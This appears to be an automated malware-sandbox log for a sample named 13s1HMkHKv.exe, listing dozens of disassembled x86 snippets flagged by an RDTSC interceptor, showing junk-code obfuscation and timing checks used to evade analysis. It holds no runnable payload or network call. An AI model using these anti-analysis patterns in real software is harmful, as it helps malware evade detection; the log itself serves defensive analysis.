Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C7DE5A second address: C7DEB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007F0550D663C8h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 mov dword ptr [ebp+122D2C12h], edi 0x0000002a push 00000000h 0x0000002c movzx edi, di 0x0000002f push 00000000h 0x00000031 mov dword ptr [ebp+124527CFh], ebx 0x00000037 jbe 00007F0550D663D3h 0x0000003d pushad 0x0000003e xor bx, 9B15h 0x00000043 mov dword ptr [ebp+122D2DE4h], ecx 0x00000049 popad 0x0000004a xchg eax, esi 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e pushad 0x0000004f popad 0x00000050 jns 00007F0550D663C6h 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C7DEB4 second address: C7DEB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C7DEB9 second address: C7DEBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C7B005 second address: C7B00B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C7B00B second address: C7B015 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F0550D663C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C7C0FB second address: C7C101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C88BFA second address: C88C17 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0550D663C6h 0x00000008 jmp 00007F0550D663CDh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C88C17 second address: C88C42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0550733D14h 0x00000009 pop esi 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d jmp 00007F0550733D0Dh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C88C42 second address: C88C48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C88C48 second address: C88C4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C88C4D second address: C88C57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F0550D663C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C1BC85 second address: C1BC8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C88358 second address: C8835D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C884DC second address: C884E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C884E0 second address: C884E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C9265A second address: C92662 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C9A9E5 second address: C9AA40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550D663D2h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnc 00007F0550D663C8h 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 jmp 00007F0550D663D6h 0x00000019 jnl 00007F0550D663C6h 0x0000001f jmp 00007F0550D663D5h 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 jno 00007F0550D663C6h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C9AA40 second address: C9AA44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C6B4F3 second address: C6B50A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F0550D663C6h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d jp 00007F0550D663D4h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C6B50A second address: C6B50E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C6C230 second address: C6C28F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F0550D663CAh 0x0000000c nop 0x0000000d mov cx, di 0x00000010 push 0000001Eh 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007F0550D663C8h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c and edi, dword ptr [ebp+1247CF85h] 0x00000032 nop 0x00000033 push ebx 0x00000034 jmp 00007F0550D663D6h 0x00000039 pop ebx 0x0000003a push eax 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e jbe 00007F0550D663C6h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C6C587 second address: C6C5BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007F0550733D0Fh 0x00000013 mov eax, dword ptr [eax] 0x00000015 pushad 0x00000016 push ebx 0x00000017 jmp 00007F0550733D11h 0x0000001c pop ebx 0x0000001d push edi 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C6C5BD second address: C6C5DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F0550D663D4h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C6C5DE second address: C6C5E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C99EE7 second address: C99EF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C99EF4 second address: C99EF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C9A05C second address: C9A060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C9A5CF second address: C9A5F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550733D18h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C9A5F1 second address: C9A5FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jbe 00007F0550D663C6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CA264B second address: CA265C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007F0550733D08h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CA1180 second address: CA1184 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CA1184 second address: CA1188 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CA1188 second address: CA119A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007F0550D663C6h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CA119A second address: CA11B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550733D0Fh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CA11B2 second address: CA11C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F0550D663C6h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CA11C1 second address: CA11C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CA11C5 second address: CA11CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CA19CE second address: CA19D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CA1E07 second address: CA1E20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0550D663CCh 0x00000009 popad 0x0000000a jbe 00007F0550D663CCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CA1E20 second address: CA1E4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007F0550733D12h 0x0000000d jne 00007F0550733D06h 0x00000013 je 00007F0550733D06h 0x00000019 pushad 0x0000001a jmp 00007F0550733D10h 0x0000001f push edx 0x00000020 pop edx 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CA0E48 second address: CA0E56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F0550D663C6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CA0E56 second address: CA0E7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F0550733D06h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F0550733D12h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CA0E7D second address: CA0E82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CA8065 second address: CA8069 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CA8069 second address: CA8079 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F0550D663C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CA6D61 second address: CA6D6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F0550733D06h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CA6D6D second address: CA6D89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F0550D663D3h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CA6D89 second address: CA6D8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CA6EFB second address: CA6F02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CA6F02 second address: CA6F0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007F0550733D06h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CA6F0E second address: CA6F12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CA6F12 second address: CA6F22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CA6F22 second address: CA6F3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0550D663D0h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CA6F3B second address: CA6F4F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0550733D06h 0x00000008 je 00007F0550733D06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CA7389 second address: CA7394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F0550D663C6h 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CA7394 second address: CA739D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CA739D second address: CA73CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F0550D663DCh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jne 00007F0550D663D4h 0x00000013 push eax 0x00000014 push edx 0x00000015 jc 00007F0550D663C6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CA7514 second address: CA751A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CA751A second address: CA753F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F0550D663D5h 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CA753F second address: CA7543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CA7DD9 second address: CA7DE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550D663CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CA7DE8 second address: CA7DED instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CAAB9F second address: CAABA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CAABA5 second address: CAABEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550733D18h 0x00000007 pushad 0x00000008 jo 00007F0550733D06h 0x0000000e jmp 00007F0550733D18h 0x00000013 jmp 00007F0550733D0Bh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CACFB2 second address: CACFB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CACFB6 second address: CACFD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pushad 0x00000008 pushad 0x00000009 jmp 00007F0550733D14h 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CACFD9 second address: CACFF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F0550D663D4h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CACB13 second address: CACB17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CACB17 second address: CACB1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CACC65 second address: CACC6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F0550733D06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CACC6F second address: CACC89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550D663D0h 0x00000007 jnc 00007F0550D663C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CAF88E second address: CAF894 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CAF894 second address: CAF89A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CAF89A second address: CAF89E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CAF9F4 second address: CAF9FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push esi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CAFBD3 second address: CAFBEB instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0550733D06h 0x00000008 jmp 00007F0550733D0Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CAFBEB second address: CAFBF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CB55FE second address: CB560A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0550733D06h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CB5849 second address: CB584F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CB584F second address: CB5853 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CB5853 second address: CB5863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0550D663CAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CB5863 second address: CB5868 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CB5868 second address: CB5870 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CB5B76 second address: CB5B88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0550733D0Dh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CB993F second address: CB9945 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CB9945 second address: CB994B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C20DA4 second address: C20DA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C20DA8 second address: C20DAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CB9033 second address: CB9049 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop ecx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jg 00007F0550D663C6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CB9049 second address: CB904E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CB904E second address: CB905A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007F0550D663C6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CB91B0 second address: CB91B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
